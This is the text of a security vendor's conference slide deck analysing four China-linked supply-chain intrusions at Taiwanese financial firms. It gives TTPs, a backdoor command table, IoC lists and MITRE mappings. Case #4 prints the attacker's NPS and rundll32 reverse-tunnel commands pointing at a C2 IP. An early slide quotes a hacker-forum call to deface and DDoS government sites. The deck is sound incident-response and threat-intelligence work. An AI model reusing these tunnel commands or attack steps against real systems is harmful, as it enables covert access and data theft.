Demystifying the China’s Supply Chain
Attack Targeting Financial Sector
CK Chen@ JSAC 2023
Minsky Chan

CyCraft Proprietary and Confidential Information

C.K Chen @bletchley13
Security Research Director, CyCraft
PHD from DSNSLab, NCTU
Publish research in HITCON, BlackHat
VXCON, RootCon, FIRST 2020, CodeBlue

Retired CTF Player
Founder of BambooFox CTF Team in
NCTUParticipate DEFCON Final 2016 and 2018
Bug Bounty - vulnerabilities in Synology,
Qnap

Reviewers of HITCON, HITB, FIRSTCon 2021

CyCraft Proprietary and Confidential Information

CHROOT member
Best private hacker group in Taiwan
HITCON, Chairman of
HITCON Editorial Committee

Minsky Chan, CISSP
Senior Security Analyst in CyCraft
Mainly focuses on incident response, APT
research and threat intelligence analysis
Publish research in SINCON, FIRST and
CodeBlue OpenTalk

CyCraft Proprietary and Confidential Information

Outline
Introduction
Type of Supply Chain Attack
Island Hopping Attack
Case #1: Bifrose is backCase #2: Operation Cache Panda

Vulnerability in Supplier’s Software
Case #3: Credit Card Leak
Case #4: Source Code Stolen

Security situation for T.W. financial sectors
Enhance Supply Chain Security
CyCraft Proprietary and Confidential Information

Financial Threat from China
In recent 2 years, we have observed more cyber attacks
from China targeting financial sectors.
Among these incidents, 4 high impact incidents catch ourattention
These incidents result in financial crime and made the concrete
financial damage
Threat actors are highly related to China.
Analysis the threat actor’s malware, techniques and tactics

CyCraft Proprietary and Confidential Information

US House Speaker Nancy Pelosi
visited Taiwan
U.S. House Speaker Pelosi's visit to
Taiwan inflames Chinese hacker team's
cyber attacks on Taiwan
Some Taiwan’s organization been hacked
In our visibility, several government,
academic institutes were compromised,
but no too aggressive intrusion found.
The main attacks were web defacement,
DDOS, application-level attacks
Not yet found cyber espionage and infra
destroy activities in our visibility[1] https://www.bbc.com/japanese/62403144
CyCraft Proprietary and Confidential Information

US House Speaker Nancy
Pelosi visited Taiwan
The announcement from hacker
communities in China
1.台湾可以搞，特别政府站。老美不搞。
2.统一口径是:中华人民共和国万岁 落款: 中华人民共和国台湾省
1.要提到: “祖国统一 台湾回归”之类的字样
2.gov.tw 可以统一改成 中华人民共和国台湾省，改之前先备份首页。
国防部，外交部，总统府搞不定可以D。
5.可以用红客联盟 HUC名义行动， 用境外IP做好防护。 把四句口号挂上去 搞定一个找管理员报备一下
The government may encourage or acquiesce in these hacker community to attack- The attack is for threatening, less destruction or cyber espionage activities

CyCraft Proprietary and Confidential Information

APT 27? The Fake One?

CyCraft Proprietary and Confidential Information

FISC Partial Source Code LeakIt seem to be the supplier who develop the system iscompromised and the source code was stolen.

CyCraft Proprietary and Confidential Information

Supply Chain Attack
4 types of supply chain attack
The initial compromised entity
island hopping attack
Supplier- Developer
Supplier – Service Provider
data leak from 3rdparty
The phasebeing Developof important
Malware implanted
vulnerability
supplier’s system.
compromised

Customerin Software

Dispatchisland hopping attack

Execution

CyCraft Proprietary and Confidential Information

Data leaks from out
sourcers

Vulnerability in
Supplier’s SoftwareIn a galaxy far, far away …..
To redact, we replace victim’s name with financial organizations inStar Wars
Every victim name, server
name and account nameis redacted.
Non-representative. Only for illustration
purposesIn the following slides, every machine and username
are de-identified, not original names
DE-Id

CyCraft Proprietary and Confidential Information

Type 1Island Hopping Attack
CyCraft Proprietary and Confidential Information

Type 1: Island Hopping Attack
The initial compromised entity
Supplier - Developer
Develop

The phase being
compromised

CyCraft Proprietary and Confidential Information

Supplier – Service Provider

Customer

Malware implanted
in Software

Dispatchisland hopping attack

ExecutionData leak from out
sourcers

Vulnerability in
Supplier’s Software

Type 1: Island Hopping Attack
The threat actor first compromise trust entities, e.g. service
provider, subsidiaries or oversea branches, as jump sites to
intrude the final target
We have discovered island hopping attack in 2 financial
incidents
Case #1: Bifrose is Back
Case #2: Operation Cache Panda

CyCraft Proprietary and Confidential Information

se
a
C

#1

Case #1
Bifrose is Back

CyCraft Proprietary and Confidential Information

se
a
C

#1

Incident BackgroundAnti-virus has the alert for some malware on internal transaction
systems
SOC detected a large number of failed logon attempts

They want to know how the malicious software was implanted.
We were requested by the financial company to perform an
incident response

CyCraft Proprietary and Confidential Information

CyCraft Proprietary and Confidential Information

se
a
C

#1

Supply Chain in The Incident
The threat actor used the VPN of vendor and executed
malicious files
Subsequently attacking other financial company in thesame group

CyCraft Proprietary and Confidential Information

CyCraft Proprietary and Confidential Information

se
a
C

#1

Cyber Kill Chain & TTP

CyCraft Proprietary and Confidential Information

se
a
C

#1

Storyline
1

Brute-Force Logon

Server-CARISA
Endpoints

2

Administrator Logon
Success3

Lateral Movement(RDP、PsExec)

Server-SOON-2
Endpoints
DE-Id

CyCraft Proprietary and Confidential Information

se
a
C

#1

Storyline
1

Brute-Force Logon

Server-CARISA
Endpoints

2

Administrator Logon
Success3

Lateral Movement(RDP、PsExec)

Server-SOON-2
Endpoints
DE-Id

CyCraft Proprietary and Confidential Information

se
a
C

#1

Brute-Force Logon
Endpoint Server-CARISA mademultiple brute-force logon
attempts using the accounts
Admin and Administrator
Finally logged in Server-SOON-2
successfully with the account
Administrator(figure no mention)

DE-Id

CyCraft Proprietary and Confidential Information

se
a
C

#1

Storyline
1

Brute-Force Logon

Server-CARISA
Endpoints

2

Administrator Logon
Success3

Lateral Movement(RDP、PsExec)

Server-SOON-2
Endpoints
DE-Id

CyCraft Proprietary and Confidential Information

se
a
C

#1

Lateral Movement
The endpoint Server-SOON-2
was used as a pivot point by
the attacker to move laterally
within the internal networkand spread malware
Using RDP and PsExec toperform lateral movement

DE-Id

CyCraft Proprietary and Confidential Information

se
a
C

#1

Storyline
1

Brute-Force Logon

Server-CARISA
Endpoints

2

Administrator Logon
Success3

Lateral Movement(RDP、PsExec)

Server-SOON-2
Endpoints
DE-Id

CyCraft Proprietary and Confidential Information

se
a
C

#1

Server-SOON-2
The local Administrator logged in via RDP and executed a suspicious
file ntxn264.exe and implant the backdoor program - uNPXtssucPrx.dll
The backdoor uNPXtssucPrx.dll was registered as an autorun service, allowing it
to automatically start after the system reboot

We identified the backdoor as Bifrose, the backdoor has used
Windows services to executed its malicious payload and connect to C2

DE-Id

CyCraft Proprietary and Confidential Information

se
a
C

#1

Storyline
1

Brute-Force Logon

Server-CARISA
Endpoints

2

Administrator Logon
Success3

Lateral Movement(RDP、PsExec)

Server-SOON-2
Endpoints
DE-Id

CyCraft Proprietary and Confidential Information

se
a
C

#1

Server-CARISA
Earliest, the Anti-virus has the alert for some malware
C:\[Vendor_Name]\svchost.exe
C:\Windows\System32\wwautoaepupdate.dll

The initial compromised server Server-CARISA not belong to thevictim org, but belong to the other financial company in the samegroup, and this endpoint is operated by the vendor

DE-Id

Finally, we confirm the threat source from a VPN IP assigned to thevendor and executed malicious files, subsequently attacking otherfinancial company in the same group

CyCraft Proprietary and Confidential Information

se
a
C

#1

Storyline
1

VPN of Vendor

Brute-Force Logon

Server-CARISA
Endpoints

Threat Actor

2

Administrator Logon
Success3

Lateral Movement(RDP、PsExec)

Server-SOON-2
Endpoints
DE-Id

CyCraft Proprietary and Confidential Information

se
a
C

#1

Flow & Architecture of Bifrose
Load Payload
Parse PE format & Jump
Check Process Name
Connect to C2 & Basic
Victim Info
Command and Control

CyCraft Proprietary and Confidential Information

se
a
C

#1

Load Payload
The loader load a payload and decrypted with mutated RC4

CyCraft Proprietary and Confidential Information

se
a
C

#1

Parse PE format & Jump
The decrypted payload is a DLL
Parse PE header
Copy section to memory
Parse libraries in Import Table
LoadLibrary and Relocation
Jump to entrypoint of DLL

CyCraft Proprietary and Confidential Information

se
a
C

#1

Connect to C2 & Basic Victim Info
Victim ID default_zz, set by threat actor
Computer Name
User Name

GetComputerNameA

GetUserNameA

Version Number

2120.1

Process ID GetCurrentProcessId
Language

CyCraft Proprietary and Confidential Information

GetLocaleInfoA

se
a
C

#1

Command and Control

Task ID

FeatureTask ID

Feature0x15

Get timediff of input event

0x8F

Rename

0x82

Enumerate Drive A:\ to Z:\ ( drive_type + drive_name)

0x9E

Set service registry key
HKLM\SYSTEM\CurrentControlSet\Services\%s\Parameters0x83

Search files

0xBE

Enumerate process

0x84

Create file

0xBF

Close Process

0x85

Write file

0xC0

Set key for C2 Server

0x86

SetFilePointer

0xC1

Close socket and reconnect

0x87

CloseHandle

0xC2

Close socket and exit connection

0x88

CreateProcess

0xC6

Close socket and exit connection

0x89

CreateDirectory

0xF6

Create cmd.exe shell

0x8A

DeleteFile

0xF7

Send command to named pipe

0x8B

Delete Directory

0xF8

Send command to named pipe, and exit cmd.exe

CyCraft Proprietary and Confidential Information

se
a
C

#1

Bifrose & BlackTech
Reference to other intelligence reports, Bifrose were often used byBlackTech, widely targeted Taiwan and Japan
Bifrose itself were also discovered in Japan[1] BlackTech 標的型攻撃解析レポート[2] The Trail of BlackTech’s Cyber Espionage Campaigns[3] https://twitter.com/strinsert1Na/status/1595553530579890176
CyCraft Proprietary and Confidential Information

se
a
C

#1

MITRE ATT&CK
Initial Access
T1078.001
Default Accounts

Persistence

Privilege
Escalation

T1569.002
Service Execution

T1543.003
Windows Service

T1055
Process Injection

T1055
Process Injection

T1033
T1021.001
System Owner/User Remote Desktop
Discovery
ProtocolT1204
User Execution

T1574.002
DLL Side-Loading

T1078.001
Default Accounts

T1078.001
Default Accounts

T1087.002
Domain Account

T1078.001
Default Accounts

T1055.001
T1055.001
Dynamic-link Library Dynamic-link Library
Injection
Injection

Execution

T1547.001
T1543.003
Registry Run Keys /Windows Service
Startup Folder

Defense Evasion

T1562.004
Disable or Modify
System Firewall

T1547.001
T1574.002
Registry Run Keys /DLL Side-Loading
Startup Folder
T1574.002
DLL Side-Loading

CyCraft Proprietary and Confidential Information

T1070.006
Timestomp

Discovery

LateralMovement

T1021.002
SMB/Windows
Admin Shares

se
a
C

#1

Indicators of Compromise
MD5
54EAC99896D279F581EC78EBA6B51C2F

spamail[.]sendsmtp[.]com

CA5AF53791851D6B996D8F8EE7B063F4

skyworld[.]gettrials[.]com

EAA945186F6D03295A6650B64141C682

sales[.]vizvaz[.]com

200396F9FD701F26D8B0B6A2C99696AA

account-login[.]dnset[.]com

700FBA10CC17B4432B9A7DBC4FEB2A41

exchange[.]justdied[.]com

F74AE1303740D08F9F7A0CEF98E02076

211[.]72[.]113[.]90

33BA121E3327BD79F2C73E87004F1381

211[.]23[.]39[.]236

A17A50F71119987E1281EC0CCB8B62EF

211[.]20[.]101[.]47

09E9960AB0A3CBDA31A03E859305EFF7CyCraft Proprietary and Confidential Information

C2

se
a
C

#2

Case #2
Operation Cache Panda

CyCraft Proprietary and Confidential Information

se
a
C

#2

Incident Background
November 25, 2021, a number of securities traders suspendtransactions due to suspicious behavior
Investigations theorized that the attacks were due to password
mismanagement and credential stuffing
However, the findings were not conclusive and suggested there
may have been other causes

CyCraft Proprietary and Confidential Information

CyCraft Proprietary and Confidential Information

se
a
C

#2

Operation Cache Panda
Long-term APT targeting TW financial sectors
High confident of China threat actors
Link to TA410, which have targeted Taiwan and Japan, with medium
confident
Quasar RAT
Domains overlap to APT 10’s C2
Most IPs from Hong Kong
The weapon is popular in China security area

Utilize vulnerabilities in big supplier’s applications
Several stealthy tricks are applied
CyCraft Proprietary and Confidential Information

se
a
C

#2

Supply Chain in The Incident
The attackers exploited the website service vulnerability of thesoftware system management interface
The targeted financial software system is used by most financial
institutions in Taiwan
The attackers also used the VPN of supplier jump to the intranet

CyCraft Proprietary and Confidential Information

CyCraft Proprietary and Confidential Information

se
a
C

#2

Incident via Supply Chain
Vulnerability against Taiwan Financial Sectors[1] https://www.taipeitimes.com/News/biz/archives/2021/12/30/2003770395
CyCraft Proprietary and Confidential Information

se
a
C

#2

Cyber Kill Chain & TTP

CyCraft Proprietary and Confidential Information

se
a
C

#2

We have disclosure details in HITCON – "Operation
Cache Panda How and Why Hackers Purchase
Stocks for You" and our website
We only briefly introduce this incident today

CyCraft Proprietary and Confidential Information

se
a
C

#2

Storyline
2021-11-24
05:05:06

Threat Actor

2021-11-24
22:29:282021-11-24
19:47:30

Web

IDC2

2021-11-25
22:40:11IDC1

CRMDB12021-11-25
05:16:44

CRMDB2
DE-Id

CyCraft Proprietary and Confidential Information

se
a
C

#2

VPN
Since there were several victims, in one victim, the securities broker
in the same financial holding group is compromised first
Then the VPN of securities broker was used to logon the bank

VPN

Threat Actor

CyCraft Proprietary and Confidential Information

RDP

Jump Server

RDP

Test
Environment

Production
Environment

se
a
C

#2

CyCraft Proprietary and Confidential Information

se
a
C

#2

This malware also inspire us to conduct the otherresearch, which will be presented in JSAC later

CyCraft Proprietary and Confidential Information

se
a
C

#2

Case Note - The After Story
After the incident arising security awareness, some financial sectors
try to improve their security and subscribe MDR for long-termmonitoring
The fast IR process discover some APT-style attacks is conducted during
November 2021
As well as the new suspicious activities we detected in February 2022

In this incident, we found 2 weakness in supply chain
Vulnerability of a general financial software be used
VPN of supplier is used as jump site

This incident may not as simple as a credential stuffing attacks, we
disclosure other possibility – APT from TA410
CyCraft Proprietary and Confidential Information

se
a
C

#2

MITRE ATT&CKExecution
T1569.002
Service Execution

Persistence
T1543.003
Windows Service

T1047
T1505.003
Windows Management
Web Shell
Instrumentation
T1059.001
PowerShell

CyCraft Proprietary and Confidential Information

T1543.003
Create or Modify
System Process

Privilege Escalation Defense Evasion

Lateral Movement

T1543.003
Create or Modify
System Process

T1021.001
Remote Desktop
ProtocolT1027
Obfuscated Files orInformation
T1620
Reflective Code
Loading

Command andControl
T1090
Proxy
T1071
Application Layer
Protocol

se
a
C

#2

Indicators of Compromise
MD5

CyCraft Proprietary and Confidential Information

C2

375270077E842624BCE08C368CDC62F9dowon[.]microsofts[.]top

EEADD95725DE21D269933881A8E8B21A

cache[.]microsofts[.]cc

03B88FD80414EDEABAAA6BB55D1D09FC

cahe[.]microsofts[.]org

F1726539E5CF68EBB2124262E695C65E

cahe[.]3mmlq[.]com

7D12FA8EEBBD401390F2A5046FF2B4BB

cahe[.]7cnbo[.]com

0724AC34E997354CA9FB06D57AF4E29B

dowon[.]08mma[.]com

A991AC3EB2D5C66DA1BECF002C19B9E643[.]245[.]196[.]120

2949C999C785AA1CA4673FC7FAE58A73

43[.]245[.]196[.]121

D506ED774089BA11D515F28087DC3E2143[.]245[.]196[.]122

9F1BF77452A896B8055D3EA2EF6A6A65

43[.]245[.]196[.]123

8CE271DA8A84CD3D42552547A8BBAF5B

43[.]245[.]196[.]124

165758BA40B3CC965D98C1FDE2D56798

23[.]224[.]75[.]93

ADC84F8C72E65EC85E051FE7CC419332

23[.]224[.]75[.]91

Type 2
Vulnerability in Supplier’s
Software
CyCraft Proprietary and Confidential Information

Type 2: Vulnerability in Supplier’s
Software
The initial compromised entity
Supplier - Developer
The phase being
compromised

Develop

Supplier – Service Provider

Customer

Malware implanted
in Software

DispatchIsland hopping attack

Execution

CyCraft Proprietary and Confidential Information

Data leak from out
sourcers

Vulnerability in
Supplier’s Software

Type 2: Vulnerability in Supplier’s
SoftwareFirst seek for the vulnerability of supplier's software, thenutilize the vulnerability to target several victims
We have discovered this attack in 2 financial incidents
Case #3: Credit Card Leak in Bank of Aargau
Case #4: Source Code Stolen

DE-Id

CyCraft Proprietary and Confidential Information

Case #3
Credit Card Leak in Bank of Aargau

DE-Id

CyCraft Proprietary and Confidential Information

se
a
C

#3

Incident Background
April 2022, Bank of Aargau found unusual credit card leak. They suspect theleak may related to cyber attack
We were requested by Bank of Aargau to perform a fast forensic for credit
cards leak
we reviewed of the credit card application flow as an immediate
investigation of some critical servers that may have been compromised
during this attack

DE-Id
CyCraft Proprietary and Confidential Information

CyCraft Proprietary and Confidential Information

se
a
C

#3

Credit Card Infra of Bank of Aargau
Mobile APP
serverWeb appserverCredit Card
AP(CCAP)

Dispatcher

CVV2 Verifier
DE-Id

CyCraft Proprietary and Confidential Information

Transaction
Auth

DB Server

se
a
C

#3

Supply Chain in The Incident
The vulnerability in their credit card management system is
exploited
This credit card management system is developed by theirown supplier, and not many financial companies use it
From the web log, It seems the attacker already known
where the vuln is, nearly no request for black box testing
CyCraft Proprietary and Confidential Information

CyCraft Proprietary and Confidential Information

se
a
C

#3

Cyber Kill Chain & TTP

CyCraft Proprietary and Confidential Information

se
a
C

#3

Storyline
3

Web App Test
Server1

2

Lateral movement

Lateral movement

DB Server

CCAP

4Access DB

Exploit vulnerability
in web application
Monitor

DE-Id

CyCraft Proprietary and Confidential Information

se
a
C

#3

Storyline
3

Web App Test
Server1

2

Lateral movement

Lateral movement

DB Server

CCAP

4Access DB

Exploit vulnerability
in web application
Monitor

DE-Id

CyCraft Proprietary and Confidential Information

se
a
C

#3

Misconfiguration
The testing credit card management system should only beaccess internally
The IT misconfig the webapp, so the web site could be accesspublicly
The threat actor first successful logon credit cardmanagement system

CyCraft Proprietary and Confidential Information

se
a
C

#3

File Upload Vulnerability in Credit Card
Management System
The file upload vulnerability was exploited to upload andexecute webshell 1.aspx
1.aspx is a .NET webshell with dynamic code loading

CyCraft Proprietary and Confidential Information

se
a
C

#3

Webshell-1.aspx
One line webshell, the mutated version of Behinder webshell

CyCraft Proprietary and Confidential Information

se
a
C

#3

毒刺(pystinger.exe + proxy.aspx)

CyCraft Proprietary and Confidential Information

se
a
C

#3

Storyline
3

Web App Test
Server1

2

Lateral movement

Lateral movement

DB Server

CCAP

4Access DB

Exploit vulnerability
in web application
Monitor

DE-Id

CyCraft Proprietary and Confidential Information

se
a
C

#3

Malware - ts_windows_amd64.exe
The malware is implemented in golang, has
several recon functionalities

DE-Id

CyCraft Proprietary and Confidential Information

se
a
C

#3

Malware - PrintSpoofer64.exe Privilege
Escalation

CyCraft Proprietary and Confidential Information

se
a
C

#3

Main Backdoor – Cobalt Strike
The main backdoor was implanted in several endpoints

DE-Id

CyCraft Proprietary and Confidential Information

se
a
C

#3

Malware- hoshinoGen.exe
A Cobalt Strike Obfuscator
Generate shellcode to bypass anti-virus

https://github.com/NyDubh3/CuiRi
CyCraft Proprietary and Confidential Information

se
a
C

#3

Storyline
3

Web App Test
Server1

2

Lateral movement

Lateral movement

DB Server

CCAP

4Access DB

Exploit vulnerability
in web application
Monitor

DE-Id

CyCraft Proprietary and Confidential Information

se
a
C

#3

Access DB
Afterwards, threat actor accessed the database
Therefore, this is the possible way of credit card leak
Mobile APP
serverWeb appserverMonitor(MON)

Credit Card
AP(CCAP)

Test Web app
server
Dispatcher

DE-Id

CVV2 Verifier
CyCraft Proprietary and Confidential Information

Transaction
Auth

DB Server

se
a
C

#3

MITRE ATT&CK

InitialAccessExecution Persistence

T1190
Exploit PublicFacing
Application

T1059
Command andScriptingInterpreter

T1078
Valid Accounts

T1059.003
Windows
Command Shell

T1059
Command andScriptingInterpreter

T1047
Windows
Management
Instrumentation

T1059.003
Windows
Command Shell
T1047
Windows
Management
Instrumentation

CyCraft Proprietary and Confidential Information

Privilege
Escalation

T1505.003
T1068
Server Software Exploitation for
Component: Web Privilege
Shell
Escalation

DefenseEvasionCredential
LateralCommand
Discovery
Collection
Exfiltration
AccessMovement
and Control

T1573.001
Encrypted
T1620
T1046
T1021.001
T1005
T1041
T1055
Channel: Symme
Reflective Code
Network Service Remote Desktop Data from Local
Exfiltration Over
Process Injection
tric
Loading
Discovery
ProtocolSystem
C2 Channel
Cryptography
T1564.001
Hide Artifacts:
Hidden Files andDirectories
T1140
Deobfuscate/Dec
ode Files orInformation
T1027.002
Obfuscated Filesor
Information: Software Packing
T1055
Process Injection

T1016.001
Internet
Connection
Discovery
T1135
Network Share
Discovery
T1016
System Network
Configuration
Discovery

T1021
Remote Services

T1090.001
Proxy: Internal
Proxy

se
a
C

#3

Indicators of Compromise
MD5

8E994054AD00EA6590D127317B74D681

C2

103.131.188.67

165.154.226.53

103.131.188.70

172.111.1.70

103.171.26.93

203.218.241.34

103.171.26.94

203.218.241.34

139.180.188.164

203.218.252.164

149.154.161.18

203.218.252.186

149.154.161.2

218.252.244.66

149.154.161.8

218.252.244.98

154.31.113.105

43.240.13.215

160.116.58.207
160.124.103.81
160.124.103.81
165.154.226.214

CyCraft Proprietary and Confidential Information

Case #4:
Source Code Stolen

CyCraft Proprietary and Confidential Information

se
a
C

#4

Incident BackgroundIn the beginning of August, a Bank of the Core sought
assistance, stating that there was a suspected attack
incident in August

DE-Id
CyCraft Proprietary and Confidential Information

CyCraft Proprietary and Confidential Information

se
a
C

#4

Supply Chain in The Incident
Their securities trading platform has some vulnerability as
an initial access point for intrusion
Developed by one big supplier in T.W.

CyCraft Proprietary and Confidential Information

CyCraft Proprietary and Confidential Information

se
a
C

#4

Cyber Kill Chain & TTP

CyCraft Proprietary and Confidential Information

Storyline
3 Schtasks

1 SQL Injection

Server-GERARDO

Server-ELLYN

4 psexec

EP-AILEEN

EP-HEDWIG

2 Command Injection
4 psexec

Threat Actor

DE-Id

CyCraft Proprietary and Confidential Information

SeveralEndpoints

se
a
C

#4

Webshell
Again the third-party developed
securities trading web platform
was compromised first
Might be a SQL injection
vulnerability

DE-Id

CyCraft Proprietary and Confidential Information

se
a
C

#4

Webshell Activity

DE-Id

CyCraft Proprietary and Confidential Information

se
a
C

#4

TunnelNPS• C:\programdata\phone.exe -server=185.173.34.243:8024 -vkey=<redected> -type=tcp• NPS (https://github.com/ehang-io/nps)
X.DLL
rundll32 c:\programdata\x.dll,runTunnel 185.173.34.243:8080 R:0.0.0.0:8086:socks

CyCraft Proprietary and Confidential Information

se
a
C

#4

Credential Dump

The attacker utilized a legitimate tool
within the Avast antivirus, the LSASS
process Dump, to extract passwords.

DE-Id

CyCraft Proprietary and Confidential Information

The attacker employed process spoofing andused the Mimikatz to harvest passwords andcredentials from the computer.

se
a
C

#4

Post Exploitation Activities

CyCraft Proprietary and Confidential Information

se
a
C

#4

Source Code StealIn the end, we found the activity that threat actor utilize 7za
to compress some directories
After discussion with victim, they verify that the sourcecode was stolen

CyCraft Proprietary and Confidential Information

se
a
C

#4

MITRE ATT&CKExecution Persistence
T1204
User Execution

T1505.001
SQL Stored
Procedures

Privilege
Escalation

DefenseEvasionCredential
Discovery
Access

T1027
T1003.002
T1018
T1053.005
T1069.001
Obfuscated Files Security Account Remote System
Scheduled Task
Local Groups
or Information
Manager
Discovery
T1033
SystemOwner/User
Discovery

T1546.008
T1053.005
T1053.005
Accessibility
Scheduled Task Scheduled Task
FeaturesT1564.001
T1003
Hidden Files and OS Credential
Directories
Dumping

T1059.001
PowerShell

T1505.003
Web Shell

T1036
Masquerading

T1003.005
T1012
Cached Domain
Query Registry
Credentials

T1059
Command andScriptingInterpreter

T1546.008
Accessibility
FeaturesT1222.001
Windows Fileand Directory
Permissions
Modification

T1003.001
LSASS Memory

T1059.003
T1136
Windows
Create AccountCommand Shell

LateralCommand
Collection
Execution
Movement
and Control

T1087.001
Local Account

T1518.001
Security
SoftwareDiscovery
T1082
SystemInformation
Discovery
T1083
File and
Directory
Discovery

T1007
T1087.002
System Service
Domain AccountDiscovery
T1057
Process
Discovery

T1016
System Network
Configuration
Discovery

T1049
System Network T1069.002
Connections
Domain Groups
Discovery

CyCraft Proprietary and Confidential Information

T1021.001
T1074
Remote Desktop
Data Staged
Protocol

T1090
Proxy

T1204
User Execution

T1021.002
SMB/Windows
Admin Shares

T1071.001
Web Protocols

T1053.005
Scheduled Task

T1021
Remote Services

T1560
ArchiveCollected Data

T1071
T1059.001
Application Layer
PowerShell
Protocol
T1572
ProtocolTunneling

T1059
Command andScriptingInterpreter

T1105
Ingress Tool
Transfer

T1059.003
Windows
Command Shell

se
a
C

#4

Indicators of Compromise
MD5

C2

42BADC1D2F03A8B1E4875740D3D49336

oastify.com

F4F684066175B77E0C3A000549D2922C

dnslog.cn

DB9E25F8D3404FC446D9CBB714456C3B

142.251.42.228

ECD3F489F11F8CBA18637DC978BA4F4C

103.243.183.248

10F1CC708FE6CFA40F3D744FBA6B6B5F

103.243.183.250
172.217.160.6
172.67.149.123
175.41.16.242
185.173.34.243
34.214.82.71

CyCraft Proprietary and Confidential Information

Security Situation of Financial Sectors

CyCraft Proprietary and Confidential Information

Security Situation of Financial Sectors
In out image, financial sectors deploy the most robust security
defenses. Yes, that’s right in most IT systems of financial
sectors.
However, 2 problems remains

Due to the high-performance computation requirement, stock dealers
may not deploy high-overhead security mechanism. In many cases, eventhough some (unimportant) endpoints deploy EDR, the last but the mostcritical endpoints are often not.
There are only few suppliers for financial software systems, they nearly
dominate the market share and not like to improve security à Supply
Chain Problem again.

CyCraft Proprietary and Confidential Information

Financial Holdings GroupThe most financial companies are organized as financial
holding group
This structure make a special supply chain problem
Financial
Holdings

Insurance

Insurance
Broker

CyCraft Proprietary and Confidential Information

Life Insurance

Property &Casualty
Insurance

Commercial
Bank

Securities

Investment
Holding

VentureCapitalInconsistent Security Ability
The companies belong to the same financial holding group may
not have the same security level
Banks always have most strict security requirements, and lesssecurity audit is conducted for securities brokers
Real cases
The bank has better security ability, they review the RDP logs every
days
But the securities company donot require any audit to the RDP activities

CyCraft Proprietary and Confidential Information

Compliance-Driven, Not really forsecurity
As any business should got the permission fromgovernment, the security of financial companies always
driven by compliance.
If compliance donot include, the financial company tend not
to deploy security mechanism.
The regulation not put every type financial company in thesame level security

CyCraft Proprietary and Confidential Information

Enhance Supply Chain Security
Our effort in enhance supply chain security,….. But not for
financial sector
We have joined the SEMI security committee and pushed security
for semiconductor industry together.

CyCraft Proprietary and Confidential Information

Take Away
4 types of supply chain attack
we point out a special kind of supply chain attack in financial
sectors - highly-couple but inconsistence security ability

We disclosure 4 incidents targeting financial sectors via
supply chain, and share TTP and IoC
Fast forensic to construct the whole storyline, the threat
actor’s intent could be more possible to disclose

CyCraft Proprietary and Confidential Information

Happy Lunar New Year

CyCraft Proprietary and Confidential Information

Q&A
ck.chen@cycraft.com
minsky.chan@cycarrier.com

CyCraft Proprietary and Confidential Information